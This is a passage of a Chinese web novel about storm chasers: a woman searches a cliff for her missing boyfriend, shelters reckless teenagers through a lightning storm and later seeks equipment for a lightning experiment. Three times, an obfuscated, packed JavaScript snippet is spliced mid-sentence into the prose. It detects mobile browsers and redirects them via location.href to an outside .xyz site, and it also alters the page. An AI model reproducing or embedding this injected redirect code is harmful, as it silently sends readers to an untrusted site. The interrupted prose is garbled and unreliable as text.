“说不准,”克里斯挠了挠头,“只是这么巧妙地隐去自身存在的痕迹,就像是在故意躲着谁。” 说完她用余光瞥了下前方的许默。 与先前在派对上自信、鲜活的奥若拉完全不一样。 现在的许默,脆弱又疲惫,像是轻轻触碰一下就会完全地碎掉。 克里斯有些不解。 与雷暴打交道的奥若拉,和接触到Selway消息的奥若拉,完全就是两个人。 Selway或许并没有自己想象得那般无羁、完美。 至少不能这般对女友,让她无端增加苦痛,陷入情感内耗之中。 克里斯这样想着。 胡思乱想中,车辆已经抵达下午比赛胜利的山崖边上。 克里斯朝着视频里Selway出现的方位辨识了会儿,很快便招着手喊:“奥若拉,在这边。” 听见声响的许默一脚踩在碎石上,朝着克里斯跑去。 拿起手机屏幕与现在所处的位置比对了下,Selway跳下去的地方的确是这里。 许默站在焦石上四处寻觅。 可漆黑一片的山崖除了滚石哪里寻得到另外的身影。 “韦烨燃!” “是你吗?” “你还在吗?” 许默将双手捧在唇前,朝着山谷发出一声又一声呼唤,但回答她的只有自己的回声。 许默没有放弃。 她沿着山路一遍又一遍地呼唤对方的姓名。 直至两行泪痕挂满整片脸颊。 她来晚了。 韦烨燃不在这里。 这种拼尽一切挥出拳头,却扑在一场空的感觉,让人快要窒息。 而后是深深的无力感。 许默抬起头,看向乌黑一片的天空。 分明他们就离得那么近,就在同一片天空下,可却总是差之毫厘失之千里,那般令人废然。 身后传来靴子踩在碎石头上发出的声响。 不紧不慢。 许默耳廓动了动,并没有回头。 她蜷缩在山崖边缘,甚至不切实际在想,如果身后来的人推上她一把可有多好。 是不是…… 她就解脱了。 预想的触感并没有抵达,反而是一片带着些许温度的毛绒触感出现在脖颈处。 许默伸手碰了碰。 是条围巾披在她的背上。 她缓缓抬头与站立在身旁的人对视。 视线交会良久,才开口打破沉默。 “我知道。” 谢盛祈骤然皱起了眉:“什么?” “我知道你想说什么,”许默站起身,长时间的蹲腿让她有些头晕目眩,“我就像个傻子一样。” 许默何尝不知道自己这愚昧的模样。 她比谁都更加憎恶此时的自己。 “傻子?”谢盛祈摇了摇头,垂下眼继续看着她,“不,你不像。” 许默将视线重新落在对方身上:“你的眼神,已经告诉我了。” 谢盛祈嘴角扯出笑,语气上扬着说:“比起傻子,我只是觉得你更像……病、人。” 病……人? 这两个完全未能预料的字语出现在对方口中,让许默立马感觉血气翻涌,心跳快要漏上一拍。 多种复杂的情绪骤然出现,她呼吸一凝,几乎快要喘不过气。 “奥若拉!” 克里斯的惊呼声将近乎凝滞的气场打破,“快来看我找到了什么!是Selway留下的东西!” 许默缓缓呼了一口气,抬腿朝着克里斯所在方向奔去。 “你快看这是什么!”克里斯用手机充当手电,在山崖边上寻找,还真让她找到了Selway遗留的物品。 许默平静地看向眼前的物品。 是被整整齐齐叠放在石头上的深色面罩。 熟悉Selway的人一眼就认得出来,是对方视频中遮挡面貌的款式。 克里斯小心翼翼地将面罩拾了起来,递给了许默。 “发现什么了?”随后赶来的谢盛祈发出询问。 “是Selway的面罩,”克里斯雀跃地说,“Selway他真的来过这个地方,我们没有找错。而且,那段视频确实就是今天拍摄的。” 谢盛祈紧紧看向那被捧在许默手中的深色面罩。 折叠得很工整,不像是随意丢弃的。 似乎就像是……专门等着谁来发现似的。 这还是克里斯第一次真正捕捉到雷暴幽灵的踪迹,就算只是一个微不足道的面罩,也让她兴奋不已。 许默将面罩展开在手心。 仿若对方那张脸就近在咫尺。 “韦烨燃,我一定会找到你的。” 许默对着自己自言自语。 这一次来格伦希尔。 她绝不会空手而归。 距离三年前约定的时间已经不远了。 就算韦烨燃真的要躲着她,等真到了约定的日子,他们自然也会相见。 “奥若拉!” 克里斯突然指着披在她身上的围巾,发出一声惊呼。 许默低头朝围巾上看了眼。 谢盛祈为她披上的羊绒围巾不知何时起开始绒毛根根倒立,就像是被充了气般微微腾起。 不止于此。 就连许默脖颈间的碎发,也如蜘蛛腿般四处张扬。 电力场发生了变化。 许默与谢盛祈一个对视,立马发出同样的呼声:“快上车!” 三人反应都不慢,几乎是一个呼吸的时间,便一同朝着越野车的方向跑去,没有一丝停留。 然而刚抵达停车位置,刚要坐回车里,一柱车灯扫射过来。 紧跟着是一辆播放着嘈杂音乐的敞篷车出现在三人视野里。 敞篷车里坐着明显超载的男男女女,他们有的露着大腿、有的举着酒瓶,嘴里哼唱着最新的流行音乐。 瞧见许默三人停在前方的车辆时,还嘻嘻哈哈地打着招呼。 “不是吧朋友,你们来得可真快!” 说完一群人就连蹦带跳地朝着山崖边缘嬉笑着打闹而去。 不用想也知道,是一群争涌着打卡Selway拍摄地点的青少年。 许默摇下车窗,一脸严肃地对着他们用德语吼了声。 “快离开,这里马上要发生雷暴了,不想死就赶快走。” “雷暴?” 带头漂染着红头发的少年发出一声欢呼,对着人群喊道:“谁想在雷暴下摆出Selway的经典手势,发在网络上肯定会火的。” “我!”“拍我!”“我先来。” “白痴。” 克里斯在后座发出一声叫骂。 在格伦希尔,她最怕遇见的就是青少年。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861467|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是长期从事的捕雷,被她论为疯子的雷电捕手,也没这群人这般疯。 雷电捕手有经验,虽然疯狂但也清醒。 知道什么事情该做,什么事情不该做。 但这群青少年无知又无畏。 他们没有任何的专业知识、没有任何应对雷电的能力。 浑身上下全是胆子,什么事情都敢做。 许默朝上空看了眼,“不行,必须要让他们立马离开。” 漆黑的夜色阻碍了她辨别雷云的能力,她也无法准确判断雷暴落下的时机。 再加上下午这个地方才发生了阵雷,如果同片区域连续出现多次降雷的话,她预感有些不妙。 她怀疑这次会是锋雷暴(frontalthunderstorm)。 锋雷暴的持续时间很长,覆盖范围也广得多,破坏力远比普通单体雷暴更恐怖。 与谢盛祈相视一眼,两人几乎是同时拉开了车门。 克里斯捂着头痛骂一句“我真是遇见这群瘟神”,紧跟着下了车。 许默第一时间跑过去拉住那带头起哄的男生。 “嘿,你,立马把人招呼上车,这里非常危险,雷暴马上就要来了。” 红头发少年被许默扯着胳膊,刚摆好的POSE被乱了形状,朝着许默发出一声怒吼:“大姐,没看见我们在拍照吗?哪有你这样闯进来的。” “就是啊,”带着大圈耳环的女生附和道:“就只准你们巡礼Selway拍摄地,不让我们拍,怎的,怕我们抢了你们的流量不成?” 克里斯一把抢过女生手中的手机。 “喂,坏女人你干嘛?”大圈耳环的女生挥着手就来抢夺手机。 “所有人,全部上车!” 克里斯发出一声怒吼。 气势雄壮的怒吼让几名青少年微微愣住,大圈耳环的女生咬牙切齿地吼了回来:“别听她的,可能和我妈一样一到更年期就乱发脾气,手机还给我,不然我报警了。” 克里斯黑着脸说:“哦?你用什么报警,吼的吗?” 另一边,许默与红头发男生也争论不止。 这群青少年,根本听不进人话。 就在红头发男生红着脖子,准备再吼许默一句时。 他整个被腾空“提”了起来,如同一只小鸡般被谢盛祈提住命运的脊梁骨。 “喂,你放开我!” 红头发男生腾在空中手舞足蹈,力量不怎么大,脾气倒不小。 “你凭什么抓我。” 谢盛祈也懒得和对方废话,提着对方衣领就往停车区域走。 没看出来对方肤色苍白、手细脚细的,力量却不小。 不论红发男子怎么挣扎,都没能从对方手中挣脱。 “Selway都可以在雷暴下拍摄,凭什么我们不行。”红头发男生涨红着脸,发出无能狂怒。 “凭什么你们不行?”许默替他解答,“Selway专业出身,对雷暴研究得很透彻,拍摄时防护设备也很齐全,安全距离把控得严丝合缝,就算如此,他同样也对雷暴保持敬畏。你,说说你们凭什么?雷暴来了,就用你手中的酒瓶去挡吗?” 许默的话让红头发男生语塞,酒也醒了不少,脸上不自觉微微发红。 他们只看到Selway疯狂的一面,丝毫没意识到藏在疯狂下的其他。 然而就在谢盛祈提着红发男生,准备将他带回车里时,一道红紫色刺眼的闪电劈开黑沉的天幕。 震耳欲聋的雷声几乎同时在众人耳边炸响,连空气都在剧烈震颤。 所有人猛地缩紧脖子,大圈耳环的少女刚从克里斯手中抢回手机,惊得松开了手,任由手机摔落在地面。 她僵在原地,瞳孔里还残留着那道扭曲的紫白光痕。 直到第二道闪电即将要撕破天际时,众人才爆发出此起彼伏的惊叫。 11. 偏执 胡乱蹿跑的青少年们像是群被浇了一盆开水的蚂蚁。 他们只是想来寻找刺激。 并不想真的把小命交代在这里。 先前那道落在脚边的雷电,可不像是在跟他们开玩笑。 “天呐,我差点就被劈成焦炭了!” “快跑啊!” “我可不想死。” “雷暴真的来了。” “我要给我妈咪打电话,让她赶紧来救我们!” 青少年们你一言我一语的嘈杂声响充斥在山崖。 许默强行屏住呼吸,朝四周瞟了一眼。 锋雷暴已经开始了。 不多时便会彻底成形,如不尽快加以躲闪,所有人都会在雷暴中粉身碎骨。 可是…… 许默看向青少年开来的敞篷车,他们的车辆并没有加装任何的避雷设施,此时再回车上无疑是自寻死路。 恐怕连没驾驶出锋雷暴的影响区域,就会被雷暴所轰灭。 但她们自己开过来的越野车根本容纳不了这么多人。 瞬息之间,许默作出判断。 她一把抢过正准备拨打电话寻求帮助的女生的手机,朝着山崖使劲扔了出去。 “你!” 那女生瞪着眼朝许默发出震怒。 “不想死就乖乖把嘴巴闭上!” 许默不惯着对方,朝大家喊道:“所有人!立马蹲下,身上有手机、手链,一律是金属制品的,有多远扔多远。” 或许是先前降下的雷暴把青少年们都吓坏了。 许默的话让他们找到了救命稻草般,近乎是下意识的服从,他们第一时间蹲了下来,遵循了她的话语搜寻着身上的金属制品。 “克里斯,”许默看向离越野车稍微近一些的克里斯喊了句:“你带着身边的几个小孩,先上车。” “好。”克里斯默契地点了点头,指向几人说:“你们几个,跟我上越野车。” “凭什么上你们的车,”大耳环少女还在嘴硬嘟囔,“我自己有车……” 她话还没说完,一道高架对流在上方出现,“轰隆”降下一道闪电,精准击打在越野车不远处大红色的敞篷车上。 闪电击中了车头的金属饰标,瞬间迸发出刺目的蓝白色火花,像无数条狂舞的毒蛇沿着车身流窜。 随后“啪”的一声,车灯、音响同时熄灭。 空气中弥漫着刺鼻的焦煳味,车漆上蜿蜒着焦黑的纹路,像被烧红的铁烙过。 几秒后,滚烫的引擎盖上腾起一片白雾。 显然,这辆敞篷车已经跟一坨废铁没什么两样。 “啊!我的玛莎,这可是妈咪送我的生日礼物——”大耳环少女捂着嘴叫半句,还没来得及心痛,就被克里斯一把薅进了越野车。 “远离扶手和车窗!” 听到克里斯的提醒,大耳环少女飞快将身子朝克里斯身边挤了挤。 她可不想赴娇红跑车的后尘,哪还敢记先前的仇。 “奥若拉!”谢盛祈朝着许默所在的方向唤了声,夹杂在雷鸣声中响起他的问询:“你们那边没事吧?” 许默使劲眨了眨眼睛,倾盆而下的雨水将她的整个头顶都浇湿,她的眼前又开始出现白花花的一片。 雷鸣的闷响在头顶不断环绕。 这种感觉……又来了。 “我……我没事。” 许默紧了紧喉咙,尽量让自己的声音听起来不是那么抖动。 她的身边还有青少年,绝不能引起他们的慌乱。 只要平稳将雷暴扛过去就行,一切就都会好的。 “奥若拉,深呼吸,”她几乎已经辨别不出来赛文的声音是从哪个方向传来的,“不要让自己忘记呼吸!” 我知道。 许默深深呼出一口气,调整着自己的呼吸。 她紧紧皱着眉,两只手颤抖着抓在一起。 她努力睁开双眼,拼命地放大瞳孔在纯白的世界中捕捉眼前的景象。 不能失去意识。 绝对不行。 此时的她身边还有两名青少年,根本无法指望他们自救。 如若此时在雷暴中失去意识。 那迎接几人的,都将会是……毁灭。 许默强行控制着胸腔起伏,吸入又呼出一次又一次粗气。 她捕捉到鼻尖那若隐若现的乌樟气味,尝试跟随它的指引将自己拉回现实。 清醒一点! 许默,醒过来! 随着许默在手背上狠狠一掐,她终于在满是雪白的视野中辨别出了眼前的场景。 可刚睁眼,余光就瞥见身边一名吓坏了的男生站起身来,朝着越野车的方向就开始奔跑。 “不要——” 许默本能地朝着对方伸出了手阻拦,可站立在山崖边缘上的男生就如同一枚天然的制高点,刹那便吸引了雷电的降临。 “咔嚓——” 一道忽闪而来的闪电击打在男生奔跑的路线上。 如此近距离的落雷让许默眼前一花,耳朵开始发鸣。 “救救我!呜……” 再次睁开眼时,那名男生已经被雷电余波掀飞了两米远。 所幸的是,雷电并没有直接命中他。 可慌不择路的男生挣扎着爬起来,又开始踉跄地想要胡乱奔跑。 但被先前近距离的闪电影响了平衡中枢,男生刚站起身来,身子就不受控制地朝着山崖外侧倒去。 他一脚踩在滑梯的碎石边缘。 “不要啊,救命!” 男生带着哭腔发出一声惊呼,整个人便失重般往悬崖摔下。 就在男生半个身子已经落出悬崖边缘,以为自己即将滚落悬崖时,一只手紧紧提在他的肩膀上。 他泪眼婆娑的抬头往上看去,仿若看都一丝曙光般喉咙抖动的发出一声声哀求。 “姐姐,救救我!” 许默匍匐在地面上,右手紧紧拉住对方肩膀。 手肘在碎石的摩擦下发出阵阵刺痛,可她现在顾不上这些。 “抓住我的手,一定不要松开!” 许默咬着牙想要将对方提上来,可是她的力气根本不够。 她朝赛文所在的方向看了眼,不断落下的闪电将他们两人之间隔得老远,对方此时身边的两个吓傻了的青少年也让他根本顾不过来。 手背的力量提不起男孩。 一时之间又找不到其他可以借力的地方。 许默额头有些微微出汗。 “不行。” 手上的力气逐渐变得衰竭,许默左手紧紧扣在碎石悬崖上,绷紧整个身体才勉强不让手臂脱节。 这样下去不行。 别说悬崖边上她们二人支撑不了多久,正无差别扫射的闪电说不定什么时候就降落在她们身上。 许默突然像是想起什么似的,探出身子朝着悬崖下扫视。 突如其来的失力感让男生还以为对方放弃了自己,吓得赶紧抱在许默手臂上。 “美女姐姐不要放弃我,我还不想死。” “别动!” 许默没有理会对方的惊惶失措,借着闪电破开的短暂白昼,仔细打量山崖边缘的景象。 “果然!” 许默瞥见一处内凹状的山穴,眼中一喜,转身朝着谢盛祈喊道:“山崖外有掩体,我们去那!” “好。”谢盛祈抬头与许默眼神示意,招呼着身边的青少年朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红头发男生脸色发白。 许默伸出手,朝对方揽去。 可一道怒雷不偏不倚刚好落在山体边缘,剧烈的电弧与山体撞击出一阵阵火光。 “呀!” 受惊的红头发男生哪里还攀得稳山崖,身子被吓得浑身一颤,手软脚软。 骤然出现的火光让许默双目短暂失明,她喊出一声:“不要——” 双手慌乱地在山体边缘摸索,可听见的,只有物体滚落的声响。 等再次恢复视线,她看见一只手攀在山崖边缘、另一只手提着红头发男生的谢盛祈。 雨水将对方毛绒绒的金发完全打湿,他咬着牙齿,提着红头发男生朝掩体所在的方向狠狠一抛。 许默一把将对方接住,不免松了口气。 “你也快进来!” 她朝谢盛祈挥了挥手,几名青少年都已经藏在了掩体下方,或多或少都受了些伤,但好在并没有生命危险。 谢盛祈单手挂在山崖边缘,身后不断闪现的雷光在他身体边缘勾勒出若隐若现的光影。 许默莫名觉着这段场面很眼熟。 他分明是个玩世不恭的玩咖。 此时却像是个救世主般,给人透出一股没由头的安全感。 “赛文……” 原来,他好像也没有看上去那般不靠谱。 12. 天晴 “快下来。” 许默朝对方伸出手。 谢盛祈的动作比先前几名青少年利索得多,他几个跨步的功夫就抵达了掩体所在的位置,伸手拉着许默的右手,就按住对方的身子往掩体内侧躲藏。 山体内凹下的众人。 后背贴着后背。 红头发男生紧紧闭着双眼,直至此时,他才明白什么叫人间炼狱。 不断扩散和逼近的雷暴发出一声声轰鸣。 每一声都如同要将他撕得粉碎。 他后悔先前不把这雷暴当回事儿,后悔不知死活来Selway的出现地巡礼。 哈利路亚、阿弥陀佛…… 他把东西方各路神仙求了个遍。 锋雷暴逐渐进入高潮。 它肆意宣泄着最原始的暴怒。 几名青少年蜷缩在最内圈瑟瑟发抖。 许默伸手抱住几人,将他们护在身下。 就算自己的身躯也因一次又一次的震鸣而下意识地战栗。 她此时也不能退让分毫。 许默紧紧闭上双眼。 用手臂牢牢环住身下的青少年。 嘴唇被咬到惨白。 直至一抹温热贴紧紧贴在她的后脊。 裸.露在掩体外侧的后背却并没有出现该有的阴冷,她侧头瞥了眼,才见谢盛祈伸出双手,将她赤.裸的背部紧紧拥在胸膛。 “别怕,许默。” “雷电伤害不到你,也伤害不到任何人。” 谢盛祈的低头沉吟没有让许默搭话。 灾难下众人沉寂无言。 唯有借靠着彼此的体温,宽慰各自的迷惘。 这场锋雷暴不知持续了多久。 也不知摧毁了多少生物的生命。 几人一直保持着这个僵硬的姿势,直至太阳再次升起。 “奥若拉!” “奥若拉你在哪?!” 克里斯忽远忽近的呼唤声将许默拉回了现实。 她缓缓睁开眼,只见身下的几名少男少女已经熟睡过去。 侧过头去,往身后的人打量了眼,却没想到正好与对方火热的视线撞个正着。 “你……也醒了?没受伤吧?” 这般近距离的对视让许默不免觉着有几分尴尬,甚至对方呼出的气息都不留余力地拍打在她的脸颊上。 好痒。 谢盛祈缓缓吐出一口气:“没事,你呢?” 许默摇了摇头。 他们一同朝掩体外看去。 乌云密布的锋雷暴已经彻底消停,取而代之的是缓缓升起的晨曦,正隔着山尖洒出阵阵明亮的光晕。 劫后余生的庆幸让两人不约而同地相视一眼。 有种共患难后的亲切。 许默活动了下僵硬的下肢,站起身来朝着山崖上方喊道:“克里斯,我们在这里!麻烦扔条绳子下来。” 直到二十分钟后,几人才在克里斯的帮助下重新攀爬回了山崖边上。 几名少男少女凑在一起,一把鼻涕一把泪的诉说着各自的遭遇,想来再也不敢追着Selway的脚步寻找刺激了。 “我的老天爷啊,”克里斯拉住许默打量好几圈,“我还以为你们……可是把我吓惨了。” 许默踮着脚,朝着太阳升起的方向深深吸了一口气。 “还好,所有人都没事。” “是啊,简直太好了。” 躲在车里的克里斯才是真的度日如年,如果不是不放心车里的几个小孩,她恨不得早就拉开车门去找人了。 “可是……”克里斯指了指山崖边被慌乱人群踩得不像话,甚至还焦了半边的面罩说:“Selway的面罩坏掉了。” 她伸手捡起烂得不成话的面罩,递给许默。 心想着对方肯定是要伤心了。 哪承想,许默咧开嘴角接过面罩,发出一道笑声说:“坏掉就坏掉了吧,不过是一个面罩罢了。” 随手将其揣进兜里。 替几名青少年喊了拖车服务,亲眼见到他们跟着拖车下了山,许默几人才开车行驶回了旅馆。 “呀,都快要十点了,”克里斯看见车里的时间才发出一声惊呼,“我今天还约了广太跑数据,得先去监测点一趟。” “行,那待会在监测点见。” 许默随意将披散的头发重新扎成了马尾。 见两人开始讨论工作,谢盛祈识趣地将钥匙抛给克里斯,拉开车门双手揣兜朝着旅馆方向走去。 许默跟着下车拍了拍车门,将克里斯送走。 注视着谢盛祈的背影。 对方像是感受到她的目光般,缓缓侧过身来。 许默嘴角扯出一个笑容,快步抵达对方身前,唤了对方一声。 “赛文。” “嗯?”谢盛祈侧过头应了声。 许默盯着对方眼睛发出邀请:“要不,一起吃个早饭?” 谢盛祈骤然抬眸,撩起了略带疲惫的眼皮。 他不由自主地表情出现几分诧异,僵硬地回答。 “……好啊。” “行,”许默抢先在对方身前拉开玻璃门,转头问了句:“黑咖啡能喝吗?” 见对方没有拒绝,朝在餐厅服务台的老板娘唤了句:“Jully,麻烦准备两杯黑咖啡、两份奥地利凯撒面包、一份蓝纹芝士。” “好的,奥若拉,马上就来。”Jully朝她挥手示意。 随意找了张靠窗的空桌坐下,许默朝谢盛祈招了招手。 “没想到啊,奥若拉小姐,”谢盛祈脸上不知何时也重新挂回了笑容,他拉开许默对方的椅子坐下,歪着脑袋看向对方说:“我还以为,你会下了山就翻脸不认人了。” 许默用手撑着脑袋,笑言说:“我看上去,就有这么没礼貌吗?” “有!” 谢盛祈眼睛眯成一条线,“没礼貌算不上,但论无情你可是数一数二。” 许默发出一道嘁声,一脚在对方椅子脚上轻轻蹬了一下。 就连她自己都未察觉,两人的关系像是近了几分。 “难道不是吗?” 谢盛祈打趣着模仿许默的腔调尖着嗓子说道:“偷听别人说话好听吗?真烦人。”说完又指了指许默装模作样翘着嘴说:“你,不许和我说话,我可是有男朋友的人。” 许默还真被对方的样子给逗笑了。 “我哪有这样,你少来。” “还没有?”谢盛祈将手捂在嘴前继续提着声线唤道:“韦烨燃!韦烨燃!你在哪里,我找不到你……” 许默被对方滑稽的模样逗得直不起腰,笑得前俯后仰。 笑着笑着,却又莫名眼角有些湿润。 “抱歉,”谢盛祈敏锐察觉到了许默情绪的变化,出声道:“我不是故意提起这个的。” 许默摇了摇头,用纸巾擦拭眼角。 韦烨燃……她会找到的。 即便不是现在。 “奥若拉,”谢盛祈突然凑近身子,俯身在桌前盯着许默的瞳孔说道:“有没有和你说过,你的眼神……” 许默不解:“我的眼神怎么?” 谢盛祈浅浅一笑:“我曾经在博茨瓦纳拍拍摄过狼群,你的眼神……是那种只有脱离狼群的狼崽才有的眼神。” 隔了几次呼吸,谢盛祈补充着说:“是那种极致的理智下,潜藏着些许疯狂的眼神。” 许默微微有些错愕,还是第一次听到有人用“狼”和“疯狂”来形容她。 “是吗?你不是雷暴摄影师吗,怎么?还去非洲拍摄野生动物?” “什么都有拍点。”谢盛祈干笑几声。 许默目不转睛:“那你来格伦希尔,是为了拍什么?” “是为了一只「雷暴蝴蝶」。”谢盛祈几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861469|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是脱口而出。 许默抬在耳边的手微微一顿,喉咙莫名有些干哑:“雷暴……蝴蝶……” “没错,”谢盛祈死死盯着许默,似乎要将她的表情变化完整捕捉,“你应该知道的,除了最著名的「阿尔卑斯的灯塔」,格伦希尔还有一种几乎不作宣传的雷暴奇观。” 许默当然知道。 “2022年6月,「雷暴蝴蝶」在格伦希尔首次被人类镜头捕捉,”谢盛祈伸出手指在水杯中沾了几滴水,在桌面勾画着,“它由无数飑线和超级单体雷暴组成,从远处观望,就如同一只展开双翼的蝴蝶。” 只不过构成它羽翼的是足以毁灭一切的雷暴。 许默不会忘记。 2022年6月,正是三年前的那天…… 格伦希尔作为旅游产业为支柱的城市,却不拿「雷暴蝴蝶」来宣传,归根结底还是因为它的破坏力太大,远超「阿尔卑斯的灯塔」。 这甚至已经超过目前人类可承受的范围。 这已经远远算不上是景观了,而是一场……灾难。 三年前的那场「雷暴蝴蝶」,曾给格伦希尔带来毁灭性的灾难。 许默震惊地望向对面的谢盛祈。 她在对方的眼神中,恍惚看到的是似曾相识的狂热。 这让她心头一冷。 “你根本不知道「雷暴蝴蝶」意味着什么。” 听见许默平淡的语句,谢盛祈抬头看向她。 “我当然知道。” 许默将手臂抱在胸前,脑前叶如针刺般疼痛:“会死的。” “这不就是所谓的疯狂吗?” “……” 谢盛祈静静看了她两眼后才露齿而笑:“开玩笑的,你和韦烨燃作为亲身经历者也都活下来了,不是吗?” 许默哑言。 多说无益,她侧头移开视线。 “他们都说,”谢盛祈继续像个没事人一样说:“从世界各地来格伦希尔的追雷的人,都多多少少有一定的自毁倾向,要么是为了逃避现实、要么是为了获得救赎。” 许默重新将视线放回对方脸上。 谢盛祈仍然保持笑容,一字一顿地问她:“许默,你是为了哪种?” 许默没有第一时间回答对方,只是平静地看向他。 自毁倾向? 深吸了一口气,许默开口回答:“你想多了,我只是为了找到韦烨燃。” “当然。”谢盛祈语气听上去却不敢苟同。 “谢盛祈。” 许默突然话锋一变,用中文唤出谢盛祈的名字。 谢盛祈瞳孔微微收缩,看向面前的对方。 许默的眼神变得审视,她言简意赅地询问:“你是从什么时候起知道我的中文名字的?” 先前也好。 在锋雷暴的掩体下也是。 谢盛祈都用“许默”这个名字来呼唤过她。 可自己却并不曾记得告诉过对方她的真实姓名。 谢盛祈目不斜视地看向她,脸不红心不跳的。 顿了好一会儿才开口回答。 “Sorry,在你办理旅馆入住登记的时候,不小心有看到。我这人,好奇心重。” 对方说得轻巧,像是故意将话语说得飘忽不定,好让人忽视其中的谬误。 当真如此吗? 许默眼中闪过一丝质疑,但开口之前又咽了下去。 她不需要知道对方藏匿着什么。 这对她来说都不重要了。 “你防备心真的很重,奥若拉,”谢盛祈重新捡回玩世不恭的语气,“昨晚,我们可都还是过了命的交情。” 许默笑了笑,接过Jully递来的黑咖啡抿了一口。 没有再回答。 谢盛祈抬眸看向对方咖啡杯里的倒影。 许默—— 要不了多久,你一定会想起我。 13. 傲慢 “奥若拉,你可算来了。” 克里斯瞅见许默来到现场,放下和广太比对的监测记录,小跑过来一脸不太妙地说:“刚广太监测的数据出现报警,可能我们的直播要提前了。” 许默拉过椅子坐在由拖车后备厢改装的小型工作室前,敲击键盘快速浏览几个模型和卫星云图。 看到几个关键数据都即将达到临界点,许默嘴角微微上扬。 如果不出意外的话,「阿尔卑斯的灯塔」真的要来了。 许默摘下耳机:“计划提前,直播时间提前在星期三上午10点至下午16点期间,我待会和研究所报告最新情况,大家手头准备工作怎么样了?” 广太扶了扶眼镜回答道:“监测和数据处理方面没出现异常,服务器运转良好,可以按计划保障直播需求。” 在工作中团队一般都用英语交流。 广太作为日本人,英语有着明显的口音,许默皱着眉才勉强听懂,点了点头。 克里斯扫视了一眼现场说:“设备、器材明天就能全部到位,直播调试加班加点也能赶上,现场保障没问题。不过Rocket的调试还需要再测试一下,奥若拉就交给你了。” “好,”许默再次颔首,转头看向迟迟没有搭话的Joe,“Joe,你那边呢?” Joe抬头瞥了她一眼,没好气地说:“你上次说钢丝的强度不够,我跑遍了整个因斯布鲁克,都没找到更合适的材料,要不就还是用原计划?” 许默眉头微微皱起,下意识地将食指弯曲放在上嘴唇。 原计划使用的钢丝她上次测试过,根本达不到足够的抗压强度。应付一般的雷暴还勉强可以,但他们此次要应对的将是「阿尔卑斯的灯塔」。 不行。 达不到足够的强度。 原本她是计划如果因斯布鲁克找不到更优质的材料,她就麻烦老师从国内寄一批过来。 但此时直播时间提前,现在就算按当天寄出来推算,恐怕也很难在直播前调试完成。 团队一时间陷入难以攻破的难题。 “我们以前引雷都是用的这批材料,”Joe嘴角咬了根马尾草,小声地抱怨道:“怎么就强度不够,我还不信东方的标准就比我们这儿的高不成。” Joe的工作能力有目共睹,前面安排的几项测试都顺利完成。 但性格上有着常青藤高校生普遍存在的高傲和自负。 “Joe。”克里斯出声提醒,“专业点,听团队负责人的,OK?” 许默皱着眉,将食指放在唇前轻轻敲打,认真思索着潜在的可能性。 克里斯以为许默在生闷气,拍了拍她说:“奥若拉,你别和Joe置气,他就这样的,嘴巴不着调。” 许默摇了摇头,她没有将Joe的话放在心上,而是在想另外一种可能。 “克里斯,Erik他们上次捕雷使用的材料,你还记得吗?” 克里斯眨了眨眼睛。 “你说他啊?他们雷电捕手背后有经济团队和财团支持,在Youtube上的商业价值很高,设备、材料的经费投入基本都是拉满的。” 克里斯似乎明白了许默指的什么,“他们团队的材料都是直接从柏林采购的,或许是要比在因斯布鲁克基地的材料强度更高……” 许默转身:“走,我们去找找他。” 克里斯面露难色:“啊?找他干嘛,你不会是要……” “借点东西。” 克里斯两眼一黑。 她在这格伦希尔最讨厌的人就是Erik,让她去找对方借东西,指不定要被怎么羞辱一番,比杀了她还让人难受。 但团队负责人发话,她也不得不执行。 两人行驶在荒漠,很快就在镇子边缘的帐篷旁找到了Erik的车队。 瞧见对方几人大白天的正坐在石头上打扑克,克里斯几乎是下意识地嘲讽起对方。 “哟,天气这般好,你们也不出去晒晒太阳,好驱赶驱赶身上的Loser味。” 说完就后悔了,想起她们来找Erik的目的,朝许默比了个抱歉的手势念了句“生理反应,Sorry”。 Erik听到克里斯的话也不生气,抬头乐呵道:“就是天气不好啊,大白天的,一朵雷云都没有。” 对他们雷电捕手来说,整片天空都布满雷云,恐怕才是真正的天气好。 “什么风把奥若拉、克里斯两大美女给吹来了。” 许默没理会对方的油嘴滑舌,径直询问:“Erik,我想借你点东西。” “哦?”一听到这个,Erik瞬间来了兴趣,放下手中的扑克:“说来听听。” 许默坦言道:“我们团队Rocket的钢丝强度不够,上次我看你们抛出的捕电网,是使用的冷轧合金钢?直径是多少的呢?” Erik饶有兴趣地点了点头,“是祛除螺纹技术的合金钢,直径0.2毫米。” 许默微微抬眸,Erik他们使用的材质的确是达到试验标准。 “不过……研究所的正规军居然要找我们野路子借东西,”Erik话锋一转,询问旁边的副手:“Max,你说我们要借给她们吗?” Max吐了吐舌头,似笑非笑地看向许默说:“不借。” Erik摊手道:“给我个理由,我为什么要借给你们。毕竟前不久,我们之间的关系可都还是竞争对手。” 许默知道和他们这群人打交道是不能来硬的。 浅浅笑了笑。 顺着对方的话,许默以开玩笑的话语回答:“彰显你的绅士风度?” 